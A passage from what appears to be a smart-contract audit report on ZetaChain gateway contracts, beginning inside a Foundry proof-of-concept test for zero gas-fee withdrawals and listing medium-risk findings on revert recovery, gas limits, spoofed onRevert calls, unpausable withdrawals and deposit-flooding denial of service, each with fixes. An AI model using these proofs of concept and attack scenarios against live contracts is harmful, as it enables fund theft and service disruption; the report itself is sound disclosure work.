        mainnetFork = vm.createFork(MAINNET_RPC_URL);
        string memory ZETACHAIN_RPC_URL = vm.envString("ZETACHAIN_RPC_URL");
        zetachainFork = vm.createFork(ZETACHAIN_RPC_URL);

        vm.selectFork(mainnetFork);

        //evm
        proxyEVM = Upgrades.deployUUPSProxy(
            "GatewayEVM.sol", abi.encodeCall(GatewayEVM.initialize, (address(tss), address(zeta),
↪   address(ownerEVM)))
        );
        gatewayEVM = GatewayEVM(proxyEVM);

        vm.selectFork(zetachainFork);
        WZETA = new WETH9();

        // zevm
        proxyZEVM = payable(
            Upgrades.deployUUPSProxy(
                "GatewayZEVM.sol", abi.encodeCall(GatewayZEVM.initialize, (address(WZETA), address(ownerZEVM)))
            )
        );
        gatewayZEVM = GatewayZEVM(proxyZEVM);

        vm.selectFork(mainnetFork);
        custody = new ERC20Custody(address(gatewayEVM), address(tss), ownerEVM);

        vm.startPrank(ownerEVM);
        custody.whitelist(address(dai));
        custody.whitelist(address(weth));
        custody.whitelist(address(zeta));
        vm.stopPrank();

        zetaConnectorNative = new ZetaConnectorNative(address(gatewayEVM), address(zeta), address(tss),
↪   address(ownerEVM));

        vm.startPrank(ownerEVM);
        gatewayEVM.setCustody(address(custody));
        gatewayEVM.setConnector(address(zetaConnectorNative));
        vm.stopPrank();

        receiverEVM = new ReceiverEVM();

        vm.selectFork(zetachainFork);
        senderZEVM = new SenderZEVM(address(gatewayZEVM));
```

```
        universalContract = new TestUniversalContract();

        vm.startPrank(fungibleModuleAddress);
        systemContract = new SystemContractMock(address(0), address(0), address(0));
        //systemContract = SystemContractMock(0x91d18e54DAf4F677cB28167158d6dd21F6aB3921);
        zDAI_ETH = new ZRC20("Zetachain DAI on ETH", "zDAI.ETH", 18, 1, CoinType.ERC20, 100_000,
↪  address(systemContract), address(gatewayZEVM));
        zETH_ETH = new ZRC20("Zetachain ETH on ETH", "zETH.ETH", 18, 1, CoinType.Gas, 21_000,
↪  address(systemContract), address(gatewayZEVM));


        systemContract.setGasCoinZRC20(1, address(zETH_ETH));
        systemContract.setGasPrice(1, 763570277);
        systemContract.setWZETAContractAddress(address(WZETA));
        vm.stopPrank();

        vm.label(address(dai), "DAI");
        vm.label(address(weth), "WETH");
        vm.label(address(zeta), "ZETA");
        vm.label(address(zDAI_ETH), "zDAI_ETH");
        vm.label(address(zETH_ETH), "zETH_ETH");
        vm.label(address(WZETA), "WZETA");
        vm.label(address(fungibleModuleAddress), "FungibleModuleAddress");
        vm.label(address(universalContract), "UniversalContract");
    }

    function testIssueZeroFees() public {
        vm.selectFork(zetachainFork);

        revertOptions = RevertOptions({
            revertAddress: address(userX),
            callOnRevert: false,
            abortAddress: address(0),
            revertMessage: "",
            onRevertGasLimit: 0
        });

        // User get tokens
        vm.startPrank(address(fungibleModuleAddress));
        IZRC20(address(zETH_ETH)).deposit(address(userX), 10e18);  //Deal GAS token
        vm.stopPrank();

        // User/Attacker makes withdrawal/call to the external chain
        vm.startPrank(address(userX));
        IZRC20(address(zETH_ETH)).approve(address(gatewayZEVM), type(uint256).max);
        IZRC20(address(zETH_ETH)).balanceOf(address(userX));    //10e18

        (address gasZRC20, uint256 gasFee) = IZRC20(zETH_ETH).withdrawGasFeeWithGasLimit(0);
        console.log("GAS FEE:", gasFee);    //Should return 0

        //CASE 1
        gatewayZEVM.withdrawAndCall(abi.encodePacked(address(userX)), 10e18, address(zETH_ETH),
↪  abi.encode("hello"), 0, revertOptions);

        // CASE 2
        gatewayZEVM.call(abi.encodePacked(address(userX)), address(zETH_ETH), abi.encode("hello"), 0,
↪  revertOptions);

        IZRC20(address(zETH_ETH)).balanceOf(address(userX)); //Should be 0 since user made a withdrawal i.e.
↪  tokens were transferred to GatewayZEVM and then burned.
        vm.stopPrank();

        }
}
```

Recommendation: Implement a check to prevent gasLimit from being set to 0 in the `ZRC20.sol` contract.

```
function withdrawGasFeeWithGasLimit(uint256 gasLimit) public view override returns (address, uint256) {

    //...

    if (gasLimit== 0) {
        revert ZeroGasLimit();
    }
    uint256 gasFee = gasPrice * gasLimit + PROTOCOL_FLAT_FEE;
    return (gasZRC20, gasFee);
}
```

Also a bounded check can help restrict setting a high `gasLimit` which can lead to users paying high gas fees.

3.2.21 Message transfereing with `onRevert()` can't get recovered

Submitted by Al-Qa-qa, also found by Slavcheww and Vijay

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: When passing messages either with token transfer or not `EVM` ↔ `Zeta` if the destination is ZetaChain then we are not paying gas for a destination, and if the destination is `EVM` then we pay for the gas.

If the transfer/message sending failed we can have a mechanism to recover this by calling `onRevert()` in the revertAddress on the source chain either `EVM` or `Zeta`.

- Revert.sol#L10-L16

```
struct RevertOptions {
    address revertAddress; // <<
    bool callOnRevert;
    address abortAddress;
    bytes revertMessage;
    uint256 onRevertGasLimit; // <<
}
```

Users provide the gas limit that will be used to execute their `onRevert()`. since users don't pay for `onRevertGasLimit`, ZetaChain takes an amount of the assets transferred to cover the gas that will be used for that gasLimit (this happens at the protocol level).

We are aware that if the amount of assets transferred value is less than the value of `onRevertGasLimit`, ZetaClients will not process the recovery process as assets transferred can't pay for `onRevertGasLimit`, but we don't know actually how this case is handled and we think it is a design choice after all.

The problem that we want to point out in this report is that there are type of message calls that don't even pass assets (message transferring). As we can see in the GatewayEVM, we call `call()` function that is used as message protocol transfering only, no assets are transferred.

- evm/GatewayEVM.sol#L306-L317

```
    function call(
        address receiver,
        bytes calldata payload,
        RevertOptions calldata revertOptions // <<
    ) /*...*/ {
        if (receiver == address(0)) revert ZeroAddress();
        emit Called(msg.sender, receiver, payload, revertOptions);
    }
```

As we can see, this function is used to transfer a message from `EVM` to `Zeta`, since ZetaClients pay the gas on Zeta, we are not talking gasFees for destination chain execution, since it is ZetaChain, but if the execution on the destination failed, ZetaClients will try to process recovery process, by calling revertAddress in `RevertOptions` on the source `EVM` chain.

The problem here is that ZetaClients are designed to take an amount of assets transfered to cover for the `onRevertGasLimit`, but as this is just a message transfereing not assets transferring, ZetaClients will not be able to do anything. as no tokens are paid by that user.

The function accepts `RevertOptions`, which is used in recovery in case of failed of the message/token transfer. In case of token transfer, we are taking some tokens, but for message transfers, there are no tokens. it is impossible to call `onRevert()` since there are no funds paid by the sender to recover `onRevertGasLimit`.

This will end up being unable to recover reverted messages since no assets are transferred to it.

This issue affects message transfering with no assets in `GatewayZEVM` too.

Recommendations: Either take the amount `onRevertGasLimit` in case of supporting Reverting with `onRevert()` mechanism. or disallow recovering for messages only (this will be easier).

Note: there is a side issue we mentioned in this issue report which is the small amount of token transferred, that is worth cents, can be unrecoverable because the `onRevertGasLimit` can exceed all transferred oken value, especially in the Ethereum network that has High tx cost. But as we said earlier we think this is a design choice. Please if this side issue is judged a real issue, consider duplicating it with its group.

3.2.22 Forcing `GAS_LIMIT` in native token transfers can make Smart Contracts receiving go `OOG`

Submitted by Al-Qa-qa

Severity: Medium Risk

Context: zevm/GatewayZEVM.sol#L144, zevm/GatewayZEVM.sol#L91-L94

Description: When withdrawing ZRC20 tokens, we are passing the `GAS_LIMIT` as a constant value.

```
    function withdraw( /*...*/ ) /*...*/ {
        if (receiver.length == 0) revert ZeroAddress();
        if (amount == 0) revert InsufficientZRC20Amount();

        uint256 gasFee = _withdrawZRC20(amount, zrc20); // <<
    }
    // ...
    function _withdrawZRC20(uint256 amount, address zrc20) internal returns (uint256) {
        // Use gas limit from zrc20
        return _withdrawZRC20WithGasLimit(amount, zrc20, IZRC20(zrc20).GAS_LIMIT()); // <<
    }
```

ZRC20 tokens are not just representing ERC20 on differnet EVM chains, but it also include native EVM chain coin. i.e. it can include ethereum.

Forcing the `GAS_LIMIT` to be a constant value is Ok for most of the tokens, as in most cases transfering ERC20 tokens gas cost is constant for all tokens, it can differ but gas used will always be the same when ever you transfer, and who ever the receiver, so Making the value is constant is OK.

The problem is that Native coins gas used is not constant, and varies according to the receiver

- If the receiver is EOA.
- If the receiver is Smart Contract Wallet (Safe wallet consums more gas for example).
- If the receiver is Account Abstraction wallet.
- If the receiver is a Smart Contract (with fallback handler).

Smart Contracts can have custome logic when they receive ether, this is the case for Safe Smart Contract Wallets for example. so forcing the value of gas is not good as If we made it the amount for EOA addresses, then Smart Contract Wallets transfer function can revert. and if we made it with large value we are making users pay more than they should.

This occuar for only withdrawing process, in case of withdrawAndCall we are providing the value ourselves.

Recommendation: Make the `GAS_LIMIT` customizable, by either making it passed by the user or adding it to the Limit `GAS_LIMIT + user additional gas passed`.

3.2.23 Universal Apps can't verify the original message source in case of recovery

Submitted by Al-Qa-qa, also found by Sujith Somraaj, strikeout, amaron and tenma

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description:

> We will talk about Universal Apps in `ZetaChain` (ZEVM), but the issue existed also in EVM (Revertable Contracts).

Universal Apps are the apps are the contracts deployed on `ZEVM`, that will be used to integrate with all `EVMs` connected to ZetaChain, besides Bitcoin, and Solana.

These Apps should implement 2 important functions.

1. `onCrossChainCall()`: this will get fired when a message comes from `EVM` to `ZEVM`.
2. `onRevert()`: this will get executed when making a call from that `Universal App` on `ZEVM` to another destination `EVM` and it gets reverted.

- zevm/interfaces/UniversalContract.sol#L24-L34

```
interface UniversalContract {
    function onCrossChainCall( /*...*/ ) external;

    function onRevert(RevertContext calldata revertContext) external;
}
```

`RevertContext` is the struct Object that is passed to the `Universal App` on `ZEVM` when calling `onRevert()` in case of reverting.

- Revert.sol#L22-L26:

```
struct RevertContext {
    address asset;
    uint64 amount;
    bytes revertMessage;
}
```

- `asset`: is the `ZRC20` token address (native coin is address_zero) we are transferring (in case of token transfer).
- `amount`: is the amount of tokens we are transferring.
- `revertMessage`: is used so that the Universal App can recover assets, etc...

When the user makes a transfer `ZEVM <-> EVM`, he passes `RevertOptions`, which includes the address ZetaClients will call in the case of revert of Omnichain transaction.

- Revert.sol#L10-L16:

```
struct RevertOptions {
    address revertAddress; // <<
    bool callOnRevert;
    address abortAddress;
    bytes revertMessage;
    uint256 onRevertGasLimit;
}
```

The users have the freedom to set the `revertAddress`, which is the address that we will call `onRevert()` on it, as any value, when transferring from `ZEVM` to any `EVM`.

- zevm/GatewayZEVM.sol#L172:

```
function withdrawAndCall(
    bytes memory receiver,
    uint256 amount,
    address zrc20,
    bytes calldata message,
    uint256 gasLimit,
    RevertOptions calldata revertOptions // <<
) /*...*/ { /*...*/ }
```

We know that calling `onRevert()` is only called in case of a transfer from `ZEVM` to `EVM` gets reverted, so Universal App restricted it to be only callable by `GatewayZEVM`, but the problem here is how can the Univeral App authorize that this calling of `onRevert()` is for a failed transfer from his side?

We will illustrate what is the problem in the proof of concept.

Proof of Concept:

- We have two universal Apps `UA1` and `UA2`.
- Each of these apps implements the `onCrossChainCall` and `onRevert`, and can be used to interact between `ZEVM` and other supported `EVMs` in ZetaChain.
- `onRevert()` is used to recover user assets back, in case the transfer reverts.
- Attacker is using `UA1` (UA1 is a malicious Universal App made by the Attack).
- Attacker made a transfer from `UA1` to another `EVM` chain.
- Attacker provided the RevertOptions with revertAddress equal to `UA2` (since he controls `UA1`).
- Message reverted.
- ZetaClients will recover the failed transfer.
- They will call `onRevert()` on the revertAddress provided, which is `UA2`.
- `UA2` will make the recovery process, thinking it was an original transfer from his side.
- Now, let's examine what happens:
  - MessageCalling/Transfering of tokens occurring from `UA1`.
  - The transfer revert.
  - Recovery occurs at `UA2`.

The issue is that `UA2` will not be able to authorize whether this calling of `onRevert()` is because a reverted transfer (Omnichain transfer) happened on his side or not. as calling `onRevert()` is not providing the sender/caller for that withdrawal, which is `UA1`.

There is no way for Universal App to authorize that the calling of `onRevert()` is because of a revert of a transfer (Omnichain transfer) from their contract or another contract, as we are not passing the sender.

Recommendations: Pass the sender of the message in the `RevertContext` Object, so that `Universal Apps` can authorize that they were the original sender of that message to be recovered.

```
diff --git a/v2/contracts/Revert.sol b/v2/contracts/Revert.sol
index 7675f0c..ad5a775 100644
--- a/v2/contracts/Revert.sol
+++ b/v2/contracts/Revert.sol
@@ -20,6 +20,7 @@ struct RevertOptions {
 /// @param amount Amount specified with the transaction.
 /// @param revertMessage Arbitrary data sent back in onRevert.
 struct RevertContext {
+    bytes sender;
     address asset;
     uint64 amount;
     bytes revertMessage;
```

- Since `UA1` is a Universal App and interacts with EVMs supported in ZetaChain, it can use `GatewayZEVM`.
- When making a call, we are emitting the sender (msg.sender) that calls `GatewayZEVM`, which is `UA1`.
- ZetaClient knows who was the sender by listening to the event.
- ZetaClients can pass that sender in the RevertContext object.
- Universal Apps can authorize there was the original sender of that message.

Note: we have to make the `sender` in bytes to support `onRevert()` in non EVM chains

3.2.24 Withdraw Functions are not pausable on the solana program

Submitted by Spearmint, also found by mxuse, 0xmstore, TamayoNft, dontonka, Bauer, cryptostaker, alexfilippov314, pks271, ni8mare and Haxatron

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The `withdraw` and `withdraw_spl_token` functions in the Solana program lack a pausable mechanism, unlike the `deposit` function which checks for a paused state. This inconsistency creates a critical security vulnerability. If the TSS address is compromised, an attacker could exploit this to drain funds from the contract. Specifically, with access to the TSS address, the attacker could repeatedly call the withdraw or withdraw_spl_token functions, authorizing unlimited withdrawals to their own address.

Without a pause mechanism, there's no immediate way to stop this attack once it's underway, potentially resulting in significant loss of funds.

Considering the fact that the deposit function is pausable, the withdraw function also should be pausable.

Another point to consider is that on the `ZetaConnector`, `ERC20Custody` and `GatewayEVM` contracts which are the EVM equivalent contract to this Solana program, all functions are pausable, even if they are permissioned, to prevent the described attack.

Recommendation: Implement a pausable mechanism for withdraw and withdraw_spl_token functions, similar to the deposit function's pause check

3.2.25 `GatewayZEVM.withdrawAndCall` doesn't include calldata payment

Submitted by zanderbyte

Severity: Medium Risk

Context: GatewayZEVM.sol#L223-L239

Description: The `withdrawAndCall` function in `GatewayZEVM` allows user to withdraw their Zeta tokens and call a smart contract on an external chain. The function allows users to pass arbitrary size `message` parameter of type `bytes calldata` without accounting for the potential gas costs associated with this data on the destination chain. This oversight can lead to the protocol icurring high gas costs, particulary when users use this by sending large data payloads.

Proof of Concept:

1. The `message` parameter is of type `bytes calldata` which can be arbitrarily large.
2. There is no fee calculation that accounts for the gas costs associated with transmiting this calldata to the external chain.
3. When calling the external contract with a large `message`, the gas equired for this operation can be substantial, but the protocol currently does not account for this additional cost.

```
function withdrawAndCall(
    bytes memory receiver,
    uint256 amount,
    uint256 chainId,
    bytes calldata message, // <<
    RevertOptions calldata revertOptions
)
    external
    nonReentrant
    whenNotPaused
{
    if (receiver.length == 0) revert ZeroAddress();
    if (amount == 0) revert InsufficientZetaAmount();

    _transferZETA(amount, FUNGIBLE_MODULE_ADDRESS);
    emit Withdrawn(msg.sender, chainId, receiver, address(zetaToken), amount, 0, 0, message, 0, revertOptions);
}
```

Recommendation: Addressing this issue is not straightforward but the following recommendations may help mitigate the risk:

1. `gasFee` calculation based on calldata size (similar to the other ZRC20 related functions).
2. Introduce a calldata maximun size limit.
3. `gasLimit` parameter which will be used in the emitted event.

3.2.26 DoS Risk from Excessive Tiny Deposits in Cross-Chain Gateway Processing

Submitted by 0xAbhay, also found by TopStar, zhoocc, shaflow01, crypticdefense and Lalanda

Severity: Medium Risk

Context: GatewayEVM.sol#L235

Description:

- System Setup: Users interact with a `gatewayEvm` or `erc20Custody` contract to deposit tokens.
- Fungible Address: The fungible address, which is an Externally Owned Account (EOA), processes these deposits by calling the deposit function on the `gatewayZevm`.
- Sequential Processing: Since the fungible address is an EOA, it can only process one transaction at a time.

Vulnerability: There is no minimum deposit amount enforced in the system. This allows users to deposit very small amounts of tokens.

- Event Emission: Each deposit, regardless of size, emits an event that the fungible address must process.

Impact: DoS Risk: A user can flood the system with a large number of tiny deposit transactions. The fungible address, being an EOA, processes these transactions sequentially.

- Resource Consumption: The fungible address becomes occupied with processing these small deposits, delaying the processing of legitimate transactions from other users.
- User Frustration: Other users experience delays in their transactions, leading to potential dissatisfaction and loss of trust in the system.

Likelihood: Incentive: An attacker might exploit this vulnerability to disrupt the service, either for malicious purposes or to gain a competitive advantage by delaying others' transactions.

Proof of Concept: Scenario: A user scripts a bot to send numerous tiny deposit transactions to the gatewayEvm or erc20Custody contract.

- Execution: Each transaction triggers an event that the fungible address must process, one at a time.
- Outcome: The fungible address becomes overwhelmed, processing these trivial deposits, and legitimate users face delays in having their transactions processed.

Recommendation:

- Implement Minimum Deposit Amount: Set a minimum threshold for deposits to ensure only economically meaningful transactions are processed.
- Rate Limiting: Introduce rate limiting to prevent any single user from flooding the system with transactions in a short period.

3.2.27 Missing pausing functionality in ZRC20 contract

Submitted by Shubham, also found by Haxatron

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The ZRC20 contract is missing the pause/unpause functionality.

In most of the cases in the protocol, whenever there is a deposit or withdrawal taking place, the `whenNotPaused` modifier is implemented to stop the functioning incase the protocol is paused.

However this is not impemented inside the ZRC20 contract's `deposit` and `withdraw` functions.

The `deposit` function can only be called by specific trusted contracts. Take the case of the `deposit()` inside the GatewayZEVM contract, which has the `whenNotPaused` modiifer.

- `GatewayZEVM.sol`

```
function deposit(address zrc20, uint256 amount, address target) external onlyFungible whenNotPaused {
    if (zrc20 == address(0) || target == address(0)) revert ZeroAddress();
    if (amount == 0) revert InsufficientZRC20Amount();

    if (target == FUNGIBLE_MODULE_ADDRESS || target == address(this)) revert InvalidTarget();

    if (!IZRC20(zrc20).deposit(target, amount)) revert ZRC20DepositFailed();
}
```

Although the `deposit()` in Gateway contract is only callable by the Fungible module (because of `onlyFungible` modifier), the `deposit()` in ZRC20 contract can be directly called by either the `SYSTEM_CONTRACT_ADDRESS` or `gatewayAddress`.

- `ZRC20.sol`

```
function deposit(address to, uint256 amount) external override returns (bool) {
    if (
        msg.sender != FUNGIBLE_MODULE_ADDRESS && msg.sender != SYSTEM_CONTRACT_ADDRESS
            && msg.sender != gatewayAddress
    ) revert InvalidSender();
    _mint(to, amount);
    emit Deposit(abi.encodePacked(FUNGIBLE_MODULE_ADDRESS), to, amount);
    return true;
}
```

Note that it does not have the `whenNotPaused` modifier nor the contract inherits of implements any pausing functionality. Same is with the `withdraw()` which can be called by anyone as it does not even have any restrictions for the caller.

- `ZRC20.sol`

```
function withdraw(bytes memory to, uint256 amount) external override returns (bool) {
    (address gasZRC20, uint256 gasFee) = withdrawGasFee();
    if (!IZRC20(gasZRC20).transferFrom(msg.sender, FUNGIBLE_MODULE_ADDRESS, gasFee)) {
        revert GasFeeTransferFailed();
    }
    _burn(msg.sender, amount);
    emit Withdrawal(msg.sender, to, amount, gasFee, PROTOCOL_FLAT_FEE);
    return true;
}
```

In the event there is an emergency, users can call the `withdraw()` which causes cctx module to send out outbound tx to the outbound chain.

Recommendation: Add the `"@openzeppelin/contracts/utils/Pausable.sol"` from oz & implement the pause/unpause functionality, thereby adding the `whenNotPaused` modifier to the the deposit & withdraw functions.